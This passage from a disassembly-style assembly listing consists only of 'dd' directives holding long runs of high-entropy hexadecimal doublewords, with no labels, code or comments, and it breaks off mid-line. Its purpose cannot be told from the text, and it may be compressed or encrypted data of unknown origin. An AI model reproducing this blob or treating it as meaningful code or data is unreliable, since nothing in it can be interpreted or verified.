dd 382E350Fh, 0C9B078D8h, 0A1C11FD2h, 6C59821Fh, 0B0A94C7Dh dd 3E435400h, 0B0081E7h, 33A6FA86h, 1F6BD5FEh, 0C02B35DBh dd 0CC7E11C2h, 1300CB63h, 0FCCA303Fh, 0B32932h, 89965983h dd 0F963CEF2h, 0A5665315h, 39B500E0h, 95FC937Eh, 5FFE00D9h dd 0C7602531h, 3700445Ch, 0BD29B1F7h, 12C34948h, 0BE520491h dd 0F0EC3901h, 10209881h, 3D11FCC5h, 0F016CA6h, 3B705CB2h dd 97D4C051h, 3893F407h, 9C3068F3h, 0C43D8Fh, 0B351325Ch dd 0D588874Dh, 3E1A9601h, 16BDF1DEh, 47BBD4h, 75DEC56h dd 1CB75035h, 6CE83100h, 0D08CD12Ch, 0F4471F93h, 55EEC338h dd 0C1D8D89Fh, 0CD0064EFh, 849CDF95h, 947653Dh, 77CB8E61h dd 2FE0582Eh, 3CCE0EDh, 39F05B00h, 96FD9A7Fh, 660100C3h dd 95D8A4FBh, 5D008A11h, 105BA7E8h, 9FD484Dh, 5E326C70h dd 4C340820h, 2C0ED1ADh, 80861BD6h, 0C029F8F7h, 3D6900ACh dd 0D298B784h, 0AA05C759h, 60FA9FADh, 3C41BC4Ah, 62F3D880h dd 0BDD6D5h, 0A5A3FF80h, 814A49C5h, 69063Dh, 99EE2ADBh dd 589CAAE8h, 0A82E9EE3h, 3A7700E3h, 0F827B869h, 75E5E900h dd 1251F37Eh, 9B6700DAh, 64B49AA6h, 2419C9B5h, 38A819CEh dd 83000022h, 4967B39h, 0F900DE9Dh, 0E76EB25Ch, 0E186325h dd 9342B444h, 0FC0B61A0h, 690068EFh, 6F2C7203h, 13DFB14h dd 111553F1h, 6BE5F9C9h, 3A06B0E0h, 0C6031740h, 89C4CB16h dd 0EB7DC590h, 7F02F407h, 6B3C93h, 0FCBDCC6Ah, 2DF417h dd 22DB0EA4h, 0D7C07055h, 0F76D1507h, 0C320CED1h, 45D3D9h dd 6123F4E2h, 63607173h, 8238D800h, 8C97BF3Eh, 6A870B4Bh dd 6F8FBE5Dh, 37499038h, 96F8D50Eh, 8E85838Ah, 0FCFFB8E3h dd 15C10012h, 1A739DADh, 0D5145481h, 8CD360h, 0FC830526h dd 0DCF06Dh, 0C2D9C40Dh, 935FB651h, 0C7C6AE00h, 0EC292CCAh dd 0A2E601ACh, 0AF47F99Ah, 15A5C468h, 0FDBFCE00h, 0F279E769h dd 5898A032h, 8DD50095h, 0E0918AD8h, 0FF0102EDh, 10EBDD4Fh dd 1BC8CD0Fh, 0D8C2003Ah, 2517347Fh, 53046C43h, 8201923Bh dd 2307BCD0h, 6B1C277Dh, 0F90092D0h, 2BE58A7Ah, 480EC8E2h dd 69070837h, 0B333E991h, 70B0C244h, 0D1F206BBh, 235E3000h dd 0D6191698h, 22DC004Ah, 484EF059h, 0E5006BC5h, 0EA3146F7h dd 30D581Ah, 5F504041h, 0E9E82207h, 49024BE0h, 735C4FF2h dd 0EE5469BDh, 91C11C8h, 6CF0B02Fh, 1A760000h, 513D0D07h dd 9FA7850Ch, 98038A3Ah, 0F0C26020h, 279AAE5h, 0DF80505Dh dd 8CE00947h, 62006FB6h, 249E08A7h, 0F20B01h, 0C30DD311h dd 8504819Dh, 0FEB00E00h, 0B5F4B973h, 0CFF9033Ch, 0C31D411Fh dd 4AF5E1F0h, 11F3A70Fh, 5BBF219Eh, 0BC300BFCh, 277E060Ch dd 0DAB4A928h, 0BB312600h, 37C08995h, 0BF9B2AAEh, 7F1200E4h dd 5D3D72D1h, 2900BEF6h, 0B85731FAh, 0DB5C15h, 84E5C0E0h dd 0AA5B3063h, 0AF28191Dh, 0CB216F80h, 17E23DBEh, 0C8AC82h dd 95D498A7h, 0C90F64Dh, 0B0FE03E8h, 49DD9F00h, 8491D8C7h dd 4E5ECC8h, 0B1463E92h, 20448C42h, 0D9BDC10Eh, 7BDAE3A6h dd 0E13F98BEh, 0B2320F16h, 12201E4Ah, 976AA3D8h, 0C2810918h dd 5CD630h, 2AD1ACA4h, 83C1E154h, 1E17AA05h, 0EBC0B8A7h dd 0FAC5FFFh, 0DD3A3BDEh, 0CB76F3A0h, 31D8BF4h, 6443D794h dd 0B04D2FFEh, 49BA92h, 5438F9DFh, 0A39334C6h, 26259903h dd 80A4AC75h, 204F867h, 9FE6B772h, 0EB820843h, 60489405h dd 710036FEh, 0CB1ED7FBh, 755FC7h, 0E85B371Ah, 25D1748Eh dd 0F9096898h, 8095A7EBh, 0E5368D7Ch, 5BF4021Bh, 5F3FDDBDh dd 1D2A7CC8h, 0C7FED307h, 82207502h, 38396DD5h, 0D1009F7Ah dd 2C6AFCC0h, 0C9005E23h, 33C4888Ah, 132EE9E4h, 0FB774190h dd 0EAD5BF00h, 3EFD53h, 9B56BD5Ah, 7CA421B6h, 0B8926631h dd 41E8803Dh, 0A0A04D0Fh, 0E8EA516h, 9BA24BB6h, 866224E3h dd 0DB9588A0h, 90C599Fh, 85B48AAh, 42CF373Ch, 0C0018720h dd 3D10FE27h, 0A9B66801h, 1CD41D33h, 1BB1AFE0h, 699FE293h dd 4530B6E0h, 1060A074h, 0B8434E61h, 0B29B00D6h, 0BE576180h dd 3016E61Fh, 0BB0A1D74h, 271C5404h, 904711C0h, 74CF48B6h dd 454D0B6Fh, 8C23D6E0h, 0B2B067FBh, 2B00AB11h, 0B302F570h dd 3D1363Fh, 175FAA0Dh, 0EA98A7BEh, 0D800D2E5h, 0A99D653Ch dd 186A8CEh, 0E082FF68h, 6050D76Dh, 9B00447Eh, 0C41A9DD6h dd 78179095h, 0D1F03EB1h, 0C3E92C00h, 0C7253670h, 43AA4F00h dd 7B8E8A35h, 22570040h, 0D484D313h, 9401622Dh, 7226636Ch dd 67DC7A1Dh, 92AD5C3Bh, 53B02C00h, 0F49ABD52h, 7270C51Fh dd 0CE3D8C80h, 4A999Ch, 0E1AE585Ch, 0F85DCBA8h, 68CF1600h dd 7A9B388Fh, 8051E3BDh, 327125B7h, 4917476h, 0F930BDA8h dd 5B1A100Fh, 0FC8E5E76h, 0E8E6123Eh, 4E3D4000h, 917B46h dd 0EAD9BB7Ah, 7FE1C35Dh, 37508C17h, 8FFDE000h, 0B831ED6h dd 2A867DDDh, 8D0D4201h, 0AAF020B4h, 39056E00h, 0A9039479h dd 18F816h, 0E1EE2BF8h, 3B9EF3C8h, 0F0031B73h, 0C322AA70h dd 0EAC0952Dh, 5C632BB1h, 8900E079h, 0E9A1CE83h, 0C930431Bh dd 0F5C206B8h, 0E72C1C39h, 0CDAA803Fh, 70BA4CF6h, 0D1FE5C07h dd 9BD095C2h, 0D43E56h, 0EFA9A66Bh, 44C0B75Ah, 426D9300h dd 4ADD5CDFh, 0B1F40014h, 0B72D2C29h, 9C00558Eh, 32DB3024h dd 4D116Ch, 0D748F954h, 69E35388h, 0CC06F74h, 0FB5D077Fh dd 89A00D6h, 0E9F95518h, 0E1031B45h, 3DB7AF90h, 0FD018135h dd 29C9F8h, 7D70F2A5h, 78E87920h, 641C8301h, 0DE34B9C5h dd 62C87C8h, 136A2DFFh, 5FF6BE4Bh, 3772DCA9h, 1A23F44h dd 0A63261B6h, 0FF5D89h, 0FA06B219h, 9F550A0Bh, 0B72CD604h dd 0C0A0FDB5h, 51C5649Bh, 0DE3101ACh, 68CA9CF1h, 93C15Ch dd 0AE478864h, 550182F5h, 44A0E016h, 0A5DF811Ch, 8038B8EEh dd 0CAC0EDA4h, 3CE51F3Ch, 0DE006F9Ch, 49942B15h, 0B1070A6Bh dd 22A26732h, 7B692CA0h, 0D2840054h, 5C2DF9ABh, 400050F2h dd 724E3CAFh, 3078B21Eh, 0C0C9E75Eh, 7316E0F0h, 7518E316h dd 0FEB97BA1h, 78A800B3h, 0B4D4F5Ch, 0E500AAC7h, 0CD062BAEh dd 4C97B926h, 0EC0210FBh, 0D34045E1h, 0C2C1D868h, 5C00D4B8h dd 0B71EB99Ch, 8A1FE4h, 0D877521Bh, 615BE835h, 0C331167Bh dd 4D8E0CEFh, 982015DDh, 5CB106FCh, 919B0399h, 0B0AFA100h dd 58EE543Ch, 553700FAh, 42D849C5h, 16005994h, 5C3470EBh dd 8452B6h, 0C13ACF89h, 0C428DCEh, 80D2823Bh, 0EA6AA811h dd 121DFD52h, 0FE8BB18h, 5F41A96Ch, 0BDEE0156h, 0B8A80010h dd 77AF3A3Dh, 794E0063h, 0F30DB976h, 4C0196CEh, 0A48DE44h dd 3FD47B02h, 0A8A02884h, 0AF7901A8h, 30F01264h, 823DD8F7h dd 2B390E60h, 373B275h dd 0B57C9E33h, 0C0B7AC9Dh, 797D9BAAh, 0A08F1C28h, 0CC8A0A00h dd 0F3EE588Bh, 48AE7077h, 0A6112C26h, 0E883005Ah, 46D3BD79h dd 60F04599h, 787C97B8h, 3AFEE439h, 0AE9680FAh, 0D69A62E5h dd 0C2BF008Eh, 0DC7EB792h, 0E8125E28h, 4C008477h, 0A794DD17h dd 98C600BAh, 3BDFE3BEh, 68022DDEh, 443D2F1Dh, 403C59B2h dd 4FF58073h, 776A41C0h, 3F33C38Bh, 9D257A86h, 93079082h dd 9FE88C6Bh, 800394Bh, 0DE885DC0h, 6A65C26h, 1E1DB9F3h dd 0FF005860h, 270D2130h, 7AFC23Ah, 9BE7A479h, 96C110D0h dd 54009935h, 494F15E5h, 2EE484F2h, 10736D8h, 480ECDEDh dd 1DBC4255h, 0B8001C50h, 9392D66Fh, 7E68F4Bh, 0F45468A2h dd 3E0C90D7h, 8E60DB38h, 8DCAC918h, 0EB5700BBh, 0AE8B6541h dd 26034001h, 276C7A81h, 0D2801A6h, 45D798B7h, 3A0870F5h dd 9E5F1700h, 0F66F7FDBh, 0B6130073h, 54CED51Ah, 900133C5h dd 11F2F7A4h, 0D3D8B376h, 36721DF0h, 0D019F06Dh, 0A498A301h dd 8FBD4F00h, 0B7785ECAh, 0E0EE02D5h, 3B9A2D0Fh, 5F002070h dd 0A7EA2449h, 767B35Bh, 6460A9DDh, 7ACF5004h, 0F1121493h dd 9412404Fh, 5751FC80h, 65691FF0h, 0D788405Dh, 40830563h dd 0A0EF2501h, 0AD449CAAh, 5DF2E083h, 2FD8CD09h, 1E0C7512h dd 0FACC8852h, 48FF0064h, 393C1158h, 670761E2h, 24F72B1Bh dd 66DDBF50h, 0B4C00D7h, 2A2832E8h, 7501D9C4h, 0E63D41BCh dd 90D4AB3Bh, 0B65801E5h, 9CB43288h, 0E0B8DD87h, 2200B56Eh dd 8B1BE0B3h, 8A4F4Ch, 4A2A79EDh, 0E32D52C8h, 87E0B49Eh dd 79FDE754h, 4661076Fh, 0C03B26A6h, 5F12FA83h, 24586416h dd 0D301D040h, 2423180Dh, 11413ACh, 40F6694Eh, 9767E4BAh dd 4D2AE800h, 0F7D1277h, 0A4968Fh, 0E108061h, 6218F784h dd 1118BCBDh, 2B190C1Bh, 2361C56Ah, 3512D37Bh, 9441AA92h dd 9656C3C2h, 44F020h, 0A8EBAE4Ch, 7C4847D2h, 3820D50Eh dd 0B5798264h, 8A5C405Ch, 4C354818h, 0B6D410h, 71317263h dd 3E7B27F2h, 0C100FD15h, 0DE046EA6h, 9A00062Ah, 21F68E4Ah dd 910EF2h, 0D9C58A08h, 0F1BD55Eh, 615DC400h, 0B2AD11F3h dd 0E08003Ah, 4FAB964Eh, 721F7C87h, 88409F02h, 600B056Bh dd 5955B89Ah, 393B0043h, 71C9C800h, 3F810D95h, 0B0FCCD7Dh dd 980703ECh, 0CA19B155h, 0E16C02B0h, 0FBF55C7Bh, 9AE33A03h dd 6688275Dh, 8300D823h, 0D90D82F4h, 0E96D5FCh, 0E2AB73FEh dd 0AE67BF60h, 38009BA1h, 481FCC03h, 56B6F4h, 0FEAC71FAh dd 722F109Dh, 9D44383Ah, 4840A7C4h, 0F893425Ch, 32E05Dh dd 1EB1A957h, 0B0D98713h, 0C684C350h, 0EED74C00h, 0CCDE37E5h dd 961E000Ah, 0C99811FBh, 40016A4h, 0DD039502h, 2C0C83A2h dd 0CCE154h, 0ED3839ACh, 5038960h, 0B7512307h, 0B15000F2h dd 57154910h, 0D30034DFh, 0D4843505h, 9F7020h, 86C46326h dd 0C97F074Ah, 1C669E00h, 0CE097357h, 6329004Dh, 0F2E76960h dd 9D002A12h, 0EC70A20Ah, 2D67C9h, 593BFA2Eh, 0A44D13BEh dd 1578317Eh, 2DCD225h, 5AA88138h, 0C9000BCh, 3B27B511h dd 8F00B0C1h, 0EC2A1CD0h, 3C77A71h, 61D4084Dh, 1C8ABB4h dd 0CE00461Fh, 2DE782A3h, 7DDB45h, 1A49FB86h, 55748FE2h dd 44F45B09h, 531868E5h, 44C959FCh, 0B6984701h, 0D1903D48h dd 53C6D046h, 4310D750h, 91D6BE02h, 58AE80BAh, 0B87A1B58h dd 0CAC32088h, 0A5ABA3E0h, 1CD41B00h, 9C201D78h, 4497BD3h dd 5B9FE295h, 0D6A48231h, 0A54C82C0h, 80A29300h, 41A05629h dd 0BE550061h, 0F71C9225h, 6F3EC066h, 45B6813Bh, 0D653C73Dh dd 0E7954847h, 0D0916412h, 4FD02111h, 0C9D10355h, 0D6FC08BDh dd 1352C6E8h, 0FD010EFEh, 222C3FACh, 81ECEC5Dh, 0D59C03C4h dd 0DFC3CECFh, 0F59377C7h, 0CB48C085h, 9F006B84h, 5B5640E2h dd 3F61870Dh, 7C011DA2h, 0D1985F5Ch, 0BEF0BB10h, 0C2FC98A4h dd 14CA6A1h, 603D4D15h, 984510B6h, 8621B909h, 0D8150654h dd 0C9E2BD57h, 0ED630E1Eh, 0F400C25Eh, 49C83974h, 7B133DB6h dd 1951A684h, 72B0C06Ch, 5B00B53Bh, 0C87ED98h, 26213D12h dd 0EEB1ACBh, 75EC9019h, 4D6CAA18h, 8CA3A070h, 4C1115F8h dd 0B788583Dh, 15558581h, 94D06AEDh, 0E6450072h, 2106FC8Fh dd 68D23E2Bh, 0A0119490h, 709A6755h, 0E2773BBh, 0CA5D2001h dd 26B10CEh, 147C1081h, 87D5BC74h, 34EB239h, 0AA415B20h dd 515333A0h, 2100E908h, 8F034694h, 79303965h, 319B0444h dd 0C0EEBCF9h, 0C89CE101h, 0F13DB1C1h, 68800D6Fh, 0ABC67E73h dd 0B6030C67h, 69DD9AEh, 0C85193BFh, 390E80FEh, 4980EDBEh dd 4304E431h, 62002B61h, 18FE84B9h, 76F41Ah, 0FC1BEDC8h dd 7AEA15FBh, 0D0B38C04h, 0B0C0F940h, 471A2Fh, 0DCB4D9DAh dd 0A809984Dh, 48E86B00h, 144E2D59h, 17730090h, 699497Ch dd 3100E4B4h, 60AE1DA8h, 1901ACh, 335C3BDEh, 0E3A3ED6h dd 550044F0h, 1D37D10Ah, 0AFA832AFh, 53C16104h, 357880DEh dd 15AACA9Eh, 0BFDA0EB6h, 0F487ABCEh, 0C13AE0A4h, 5B06B767h dd 0C5D635AFh, 11FE4229h, 5321A9D8h, 90C3A208h, 7DEC84F2h dd 0A3420F48h, 0C0162292h, 9F7C882Fh, 4E2222FBh, 114A4290h dd 17287A9Ah, 8E962228h, 74112E42h, 0B3C3107Fh, 1A247D00h dd 819260BAh, 0F3B71300h, 1FB168DAh, 5DBD000Fh, 3A17759Eh dd 5C006D7Dh, 4D3C36Bh, 393C67C4h, 719781B2h, 0DD00FE5Ah dd 493EEABEh, 451E00C1h, 327E3122h, 0C3E0A411h, 0F6015D01h dd 0CB52D5D3h, 8269B07Ah, 0C6CD061Ch, 0CA642C40h, 4B0A46h dd 4F1280AFh, 4727AD6Dh, 89F21807h, 37277EA9h, 0F07D541h dd 6B12DECh, 2771E7D0h, 0B5384960h, 0DA7983C2h, 70F07Dh dd 99C94251h, 0D29676Fh, 980144FEh, 0F48CBD0Ch, 0D6C05A70h dd 0BE82008Bh, 0E27776ABh, 9F002A67h, 5094E17Fh, 3C9A84h dd 400F6487h, 0BB6F52F4h, 25DB95Ch, 21A4811Bh, 0D3FAE04Fh dd 0BF2600A1h, 5CD71944h, 6C00ACF0h, 181D357Eh, 9FC29Bh dd 0E646E580h, 2B8E0290h, 15072B90h, 0C952D67Ah, 0DF7C9FE0h dd 72A70050h, 0C40E1F0h, 674CD2E8h, 2C5C54E8h, 0DD8B230Ch dd 7BF28F7h, 0CA784B51h, 0C3723044h, 2A7CE78Ch, 0DCEDAB05h dd 0DDC05EECh, 0C03381C4h, 0FA36D3FAh, 0B7B09FFEh, 0A6C310C0h dd 40EB70DFh, 9301D412h, 7C1FB237h, 67E074D1h, 0B8541FE2h dd 53520994h, 744A020h, 64E8A539h, 0CC9BD600h, 0A4158BD2h dd 0B4853F51h, 0EA28B684h, 0CF07C081h, 41EA7C9Ah, 34023303h dd 0D9264AA6h, 0B180DB80h, 49E264C5h, 95000121h, 3D163B4h dd 50BB18h, 3C07C6E3h, 5B056EE9h, 82AFD8A0h, 844FDC00h dd 3AC96575h, 29E41E45h, 0DE434061h, 2A218D99h, 0CF638700h dd 0D9B5B1CCh, 0F1C70018h, 0D9915E7h, 437C0BCEh, 0AB146100h dd 377E714Dh, 31C40917h, 4800A751h, 0AC571AA6h, 854C100h dd 3AE43077h, 0B73E1DF5h, 0C4A8B1h, 383235DBh, 4428800Dh dd 16EE7EF6h, 83C76A00h, 0C9F69C9Fh, 9ED7006Bh, 978AAC8h dd 0BF001B29h, 0DAD31AEFh, 10632E6h, 24CE11B5h, 0CC8F8CA4h dd 5098DD54h, 324D4500h, 99BA28E2h, 1BDF003Bh, 483990F3h dd 2500E567h, 23F8DA6h, 0FC34C555h, 0EB48BAh, 8A542E7Ah dd 32C900DEh, 0E743BD01h, 47167212h, 3A3DD800h, 0EC307E59h dd 0B06C5FAEh, 0B702B626h, 0CD03E2BCh, 0F31C4801h, 0DF9717C3h dd 40400080h, 0D8430621h dd 1EC88300h, 0E2CAC6C2h, 3E580447h, 9780EE5Dh, 0F9004814h dd 0E7C2308Fh, 20BE0023h, 0B31179E9h, 10F65182h, 17665C07h dd 2E82A243h, 40040C1h, 0D3750052h, 401F817Eh, 1917652Ah dd 0AE0014EEh, 72E54341h, 20B5480Eh, 0B4F50400h, 0AC9D2E05h dd 2A4DAD0Ch, 0F848B9h, 0E5DF7E6Eh, 0FD6C1E58h, 5E0AE97Eh dd 0E0D203D0h, 88DC3500h, 1C2C30h, 70560BA3h, 0AD6E9F85h dd 2B7DD416h, 0C6BD5500h, 1B38F3Dh, 57A60D83h, 0F0BF635Eh dd 4100AF70h, 0CB716E1Dh, 0B54476h, 9A4258Fh, 0D2402318h dd 6169E4A0h, 1CFE4E00h, 7357B4DEh, 0AD1F002Fh, 1836C6Dh dd 0B800D9C9h, 0B131265Bh, 0E4871718h, 2B900BC1h, 0E6026E80h dd 5F4015E4h, 9614032Fh, 8E445F2h, 6D5E01h, 2797B935h dd 6BF2AF4Ch, 5D118800h, 26B49184h, 1253002Ch, 38C8CB43h dd 7D5452D3h, 6A038AD0h, 8BBB91ECh, 9F410289h, 0F7D34151h dd 0F181C460h, 0CFCEDF01h, 2B393295h, 0C81BBC43h, 38269C50h dd 808209D7h, 0AED84F1Ah, 59EDCC60h, 57766A02h, 40E1FFD0h dd 133EE5Ch, 5455A774h, 0C47CBD6Dh, 1A1C6426h, 0F3C099F0h dd 0A8CA8549h, 96DC00EFh, 287AB386h, 0B1672616h, 0A2FF093Eh dd 6868E36Fh, 0F5F308Ch, 43E0D316h, 0B0808049h, 0F73A204Eh dd 218F38h, 3717C5A8h, 20D257Dh, 7C95A788h, 604082E0h dd 1F0033ABh, 81DE4C21h, 147FFA6h, 80178548h, 0F6862C90h dd 0B9246C40h, 0EAD0B88h, 634853EEh, 6A694BE0h, 9EFB20BDh dd 47015EF8h, 0FCE55FEEh, 3CD8A020h, 56809D97h, 71B15081h dd 7200CB55h, 93FDA752h, 5102F5h, 0D361DCBDh, 15E4BCAh dd 8C2C8600h, 9F9D523Ch, 537C013Bh, 0BE9B3144h, 8155C530h dd 0DC890240h, 0F88B9F9Ah, 3C0F7969h, 0DFC69C60h, 0B7184598h dd 883C6C0Ah, 0EBA5039Fh, 0DA0C3938h, 0E48016BAh, 7FCE2752h dd 1015EA30h, 0A665C4h, 0D02844B8h, 0FAFB9582h, 0AF8D318h dd 0C58BDCD0h, 9FDD28h, 3EECCA88h, 5C006073h, 7A704CB2h dd 24BC78CBh, 24C49A7Bh, 54090343h, 0A801A26Ch, 4814EC82h dd 1093A3FBh, 9F8B00EDh, 0F0B68F4Eh, 49033916h, 8DFC4000h dd 0C0AB4A6Dh, 65C07C28h, 0E10CA514h, 19E519EAh, 17F5E8C3h dd 5D180AAEh, 0E98F4BF4h, 7E33020h, 0D7A09F8Dh, 7099B804h dd 0D71F2511h, 5F2CF898h, 2C648784h, 1F57ADBh, 1510EF37h dd 0D9588121h, 1B4039ACh, 0C6F12881h, 0EBE7515Ch, 0C87DE2E1h dd 6C2C6801h, 560CB112h, 0B0872821h, 0A8F004Eh, 637D80F2h dd 0E4003E02h, 22E82B95h, 7DDA5B35h, 26D10E73h, 28023165h dd 0D340ADABh, 6D3F8CFCh, 0FBF18074h, 1F5FDD34h, 1DCC4805h dd 0DAB86901h, 8014EF6Eh, 77BB4664h, 78632673h, 0B8B0EC2Ah dd 0AD6A0EFFh, 7580213Dh, 0B14A78D5h, 0EF3B200h, 2C33481Ah dd 5498D0h, 0AA2A348Dh, 3516270h, 59AEC750h, 8158814Ch dd 4A07856Eh, 0E6C7DD4h, 14E2F33Bh, 0C2B00037h, 6A812C91h dd 0FAF56901h, 432EBAAEh, 755430h, 338920F2h, 0E340B894h dd 0F300BB7Ch, 9D1F4E3Ah, 0C4E9CCh, 0AC061D9h, 242589C8h dd 0A0AC58h, 0C1DD1A50h, 3E4E9A5h, 8D77706Fh, 6AA8FE2Bh dd 0C70207E2h, 74B54796h, 589084CCh, 0FA220C80h, 7AE8B001h dd 28420004h, 0D3B3F941h, 6A04CF16h, 0D4762D6Ch, 2077DC80h dd 0E64C0130h, 840534E7h, 0DAF8244Ah, 9000BA73h, 3DF8C528h dd 262E7B77h, 120C292h, 6FB5B286h, 26642CC7h, 4C4548BCh dd 72B67280h, 349B0992h, 803179Ah, 5FA8A9BBh, 0F8000C0Bh dd 5179D673h, 22B1DACh, 3A4112A4h, 0E7D154h, 3034A4D3h dd 0B6E0F0C8h, 393E9100h, 0FE7A62E4h, 0B7210B74h, 0BC82AAADh dd 0B4C85A97h, 76004898h, 64F3BBDEh, 0A3694E4h, 0E0D1A784h dd 0A1FE01BCh, 61E74C7Bh, 0BB6D4BCh, 5300117Dh, 0A940241Bh dd 5F33A8h, 12F33E9Dh, 0A4BB3989h, 0FAF94D00h, 0F0D3208Dh dd 0C58000BFh, 3AFF3E4Bh, 290096E0h, 0AB0CDABBh, 0A1045Ch dd 70242B3Bh, 1FE15A06h, 834C8700h, 7AE8401Ch, 0BDB8F7h dd 0F93C2DE5h, 0B4317FFBh, 880F5A79h, 0E0CAB742h, 8DEB98D9h dd 0C5AB0045h, 8ACEA5A1h, 0A583986h, 5FF02B6h, 611C9E77h dd 0B8294C00h, 0C7E32709h, 41310000h, 0B50EF929h, 1C829Dh dd 0BC8D4B7Ah, 15A300AAh, 73E62C45h, 30C1C913h, 6B1B36D6h dd 0E73560h, 837F7CB1h, 0ABC726F6h, 31D84500h, 0B49C2A0Eh dd 0CBCD00D4h, 0EB4895E2h, 380306B7h, 213790FEh, 0C3B0C835h dd 418B0011h, 0A1BD22ECh, 500653Ah, 8E508F69h, 7713BA7Eh dd 5C6700F1h, 0F7DAD328h, 0D750F43Ah, 9409CAD4h, 48CD1C87h dd 0B4F8A8h, 13D57DAAh, 9554BDFBh, 0C13F8A00h, 160F718Fh dd 0DEA224B8h, 76D9264h, 0B02D4FECh, 0E3BAB79Dh, 4E9ADB00h dd 0B18D3CEAh, 3B27B0DAh, 0C3132F09h, 1EC800BAh, 0A296CA3h dd 0BB546D3Eh, 0A54D0046h, 2078DFD8h, 0F5DE1DCAh, 0EDA6001Fh dd 3E1C702h, 0CCA13B1Ch, 3A911C80h, 0DD4DF9h, 682966E9h dd 0B676B570h, 0A12A8100h, 11DB5761h, 0A8E60001h, 6A9DB3FAh dd 0B2018E3Ch, 863DA33h, 0A4D862C3h, 57780067h, 0BB9AFF48h dd 2A001297h, 0A898B603h, 3DD0859h, 0A9B23DFEh, 568069BAh dd 202D86Ch, 803311CAh, 0DC38C90Bh, 7D849C28h, 5A7F0118h dd 1434980Fh, 6F9A00AEh, 0CFC42976h, 9958BDBCh, 8AD200B4h dd 0E7A20A43h, 0C87601EDh, 1335AFD7h, 4800C361h, 7A31F632h dd 2FE2CA6h, 0C886A1B1h, 0C4EB145Dh, 8960B2D2h, 42F87AD7h dd 0BA3B5503h, 0FD9D93h, 0D45C5040h, 0A9CBD699h, 38F1385Ch dd 5656A647h, 95DB4607h, 0E8C0A561h, 0D2DAD4h, 315DC303h dd 94E73FFCh, 86D12400h, 0D3BC29DDh, 0A96A00C6h, 254FA10Ch dd 2A6FC9A3h, 0E73E6118h, 11890368h, 38077CACh, 0AFDE0138h dd 810E2013h, 6578F800h, 0EB4BE9D7h, 4CB8A2h, 0E85623EDh dd 0AF4AD364h, 0ECC13607h, 4552A3F5h, 885863C9h, 0BA6225h dd 7F0C7074h, 24E4B5ADh, 43B09950h, 1315EF7Bh, 19CDB8Dh dd 0EC5FA8B0h, 0E460F52Ah, 74FE7453h, 7EFCB219h, 0B26D183Ch dd 0A7D840C6h, 38989576h, 0B60C30Bh, 1002F0Eh, 90176FEFh dd 19864F2h, 0E892B653h, 5777DB0Dh, 0B02FE7F8h, 0A780DD40h dd 6C733905h, 0C90E6A8h, 162CA5E5h, 2B0A23Dh, 55AA9A38h dd 0FB3390E8h, 0CABA8D00h, 0E009D69Ch, 6D0C0095h, 29DC1527h dd 7800B987h, 0BBB0AE0Bh, 9060ECE7h, 235205E0h, 76DC7ADh dd 303878B8h, 0F70D1A2Dh, 0AE082CB1h, 2AE8011Eh, 0D42840h dd 163881h, 7D9654B6h, 0E6C7CB0Fh, 23A56402h, 0D061B90Bh dd 793E3810h, 0CF6F6080h, 93C808DEh, 75B64803h, 905E6D38h dd 16BAF7C1h, 103AEEh, 2526492Ch, 0A9020842h, 72AEADD8h dd 4C3F6004h, 0D11226AFh, 4B043954h, 0B07DAB43h, 311DDF38h dd 54004E2Eh, 0DA83C421h, 940E3091h, 7CB264E8h, 5E86F826h dd 71757700h, 606BE5D3h, 2C7EE9C9h, 6600FF40h, 33266D48h dd 0B02D4h, 1B7DF1E0h, 4E125B03h, 75423507h, 0AB60F224h dd 1D9D67AAh, 4EE271B4h, 59270145h, 0BD5A720Bh, 56ECFFE0h dd 660F1300h, 0D1DBA0FAh, 0AABF1D7Ch, 71CE0069h, 0C8A41973h dd 0DDE03F02h, 406D3E2Dh, 0F0EE24h, 56CEF558h, 60696F32h dd 68C9B20Ah, 410FC0D5h, 14F6A079h, 4FBCD6h, 0A527078Bh dd 0F94B6465h, 0C0D22112h, 0B9385900h, 1E8F2F20h, 0B988C91Fh dd 0F9357600h, 812D1EACh dd 0AEFB3705h, 0C0000EFAh, 7E656609h, 34201832h, 0F7111C28h dd 8DFEB709h, 0B58801Fh, 5CF04Ah, 0C49AD360h, 0EE2101B9h dd 0F5451609h, 4658E861h, 0EB90008Ch, 923AFC56h, 0BF00D5AEh dd 954A015Dh, 72258F5h, 50D05E13h, 0A2A770C8h, 600E3F9h dd 0C60CCE39h, 0D54535h, 8CA49CC1h, 0FD8E8759h, 0C99F7B00h dd 0F339ABCDh, 3D6E007Ah, 0C870EC61h, 940A2BB5h, 0E8F41E86h dd 88DBD503h, 0B643F0D1h, 0A0D9006Dh, 86A695D0h, 8703F44Ah dd 42FE2833h, 8CE1E9E2h, 0FEAB9BE0h, 0D9110181h, 8776FA32h dd 0BED430AEh, 89E4583Bh, 82FEB0h, 33697FECh, 0E6615041h dd 98CDE61Ch, 832902A7h, 0B7F5F267h, 0F521060h, 59AE3B50h dd 9B08D700h, 87BF7BBBh, 0B5D6004Bh, 0E37FA34Dh, 0D239CBE6h dd 4FDD008Bh, 0D885AB9Fh, 7F77299h, 0B4DE1A50h, 5A7C0C7h dd 3D0098DDh, 9CB8AF34h, 0F10D31Eh, 7BB7B142h, 0ABC37C40h dd 450095A8h, 4ABFA52Bh, 1D7196BCh, 5C640h, 0CBA37E3Ch dd 4E00C799h, 0AB16EC68h, 1F96CCC8h, 4258E9AFh, 208AA01Dh dd 4E0FFC80h, 645460F4h, 0F548BDF0h, 491A0086h, 0EB6F55C9h dd 4ABC0092h, 5AF79478h, 9CB03F28h, 69C3E107h, 1303605h dd 0A172E5Dh, 0CB4CD462h, 0E5A601FCh, 57813DAFh, 60A007B4h dd 0E48C311Bh, 84987A12h, 97C8C88h, 90A4B44Bh, 8C538CCCh dd 0A38300F4h, 0B3D3B491h, 2D70BF5Eh, 63BDB750h, 0C189061h dd 9EECFEDCh, 11D0081h, 97F5F041h, 20BA4DF2h, 1A54E200h dd 403D1878h, 7F17008Fh, 9791B0AFh, 5C1C3E39h, 0E2C04E89h dd 1B55DBBBh, 0C8BC0015h, 5AC10FE6h, 0C33DE5CAh, 50EE8054h dd 21AC2917h, 440A19F0h, 7055E8ABh, 0B80012FBh, 0AF6AE8C9h dd 0C1432Bh, 15779809h, 6EDCF5B5h, 0D5051216h, 3B6AAC00h dd 5E2F7CADh, 0D9A400A4h, 536CD101h, 0C7421709h, 0EDE4030Ch dd 21BD8989h, 26162C3Ch, 0DFF85441h, 493CC700h, 310A9DB7h dd 0D61319C0h, 9A8938h, 0D192DF21h, 801290FCh, 0E9F0AA00h dd 0E7B475BCh, 9B1F0596h, 0C0A75969h, 5DDB2A9Fh, 